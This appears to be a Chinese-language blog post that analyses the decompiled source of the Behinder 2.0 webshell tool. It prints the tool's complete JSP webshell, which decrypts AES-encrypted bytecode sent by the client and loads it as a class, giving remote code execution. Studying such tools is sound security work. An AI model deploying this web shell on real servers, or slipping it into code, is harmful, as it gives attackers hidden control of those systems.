写在前面
大概是最近搞内存马有点累了,今晚顺便看看冰蝎部分源码,简简单单写篇博客休息休息,本着怕第一次看这个工具源码,怕直接看最新的容易不理解,就拿了个2.0版本看着玩吧,谁知道也太简单了:同款源码在rebeyond/Behinder
源码解读
反编译jar包后,其核心代码在net.rebeyond.behinder
Jsp马交互部分源码解读
直接丢出来源码,挺简单的,首先是一个继承ClassLoader的U类,一看defineClass就知道是加载字节码,没得说接下来看下面部分,get请求传入一个pass参数,随机生成一串神秘字符放到sessin里面,
如果没有get传入pass,用post写一串神秘字符,后面从session中取出密钥然后先base64解码再aes解密恢复字节码并加载
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getParameter("pass") != null) {
String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
session.putValue("u", k);
out.print(k);
return;
}
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>
认证流程
借一张网图来说明下认证流程
在Behinder.jar!\net\rebeyond\behinder\ui\BasicInfoUtils.class
下面的getBasicInfo
看起来就是重点去关注的东西